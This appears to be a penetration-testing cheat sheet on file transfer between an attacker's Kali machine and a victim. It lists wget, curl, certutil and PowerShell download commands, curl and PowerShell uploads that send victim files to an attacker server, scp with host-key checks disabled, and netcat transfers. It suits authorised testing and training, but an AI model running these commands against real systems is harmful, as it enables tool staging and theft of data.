# File Transfer

## Attacker to Victim

{% code overflow="wrap" fullWidth="true" %}
```
On Victime Machine:
    wget http://<Kali IP>/<Target File>
    wget -r http://<Kali IP>/<Target Dir>
    
    curl http://<Kali IP>/<Target File> -O <destination>
    
    scp -P <SSH port> <source file> <username>@<IP>:/path/to/<destination file>
    
    certutil -urlcache -split -f 'http://<Attacker IP>/<source file>' <destination file>

    powershell.exe -c "(New-Object System.Net.WebClient).DownloadFile('http://<Kali IP>/<source file>', '<destination file>')"
    
    iwr -uri http://<Kali IP>/<target file> -Outfile <target file>
    
    
```
{% endcode %}



## Victim to Attacker

{% code overflow="wrap" fullWidth="true" %}
```
On Kali machine:
    git clone https://github.com/Tallguy297/SimpleHTTPServerWithUpload
    cd SimpleHTTPServerWithUpload
    python3 SimpleHTTPServerWithUpload/py
    
On Victim machine:
    curl -F 'file=@<Target File>' http://<Kali IP>:8000/
    
    OR
    
    powershell.exe -c "(New-Object System.Net.WebClient).UploadFile('http://<Kali IP>:8000/', '<Target File>')"
```
{% endcode %}

{% code overflow="wrap" fullWidth="true" %}
```
On Victime Machine:
    scp -P <SSH port> -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" <source file> <username>@<Kali IP>:/path/to/<destination file>
```
{% endcode %}



## Using nc.exe

{% code overflow="wrap" fullWidth="true" %}
```
On Source machine:
    nc -nlvp 4444 > <destination file>
    
On Destination machine:
    nc -nv <IP> 4444 < <target file>
```
{% endcode %}

## Hosting Web Server

{% code overflow="wrap" fullWidth="true" %}
```
python3 -m http.server 80

wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/beyond/webdav/
```
{% endcode %}











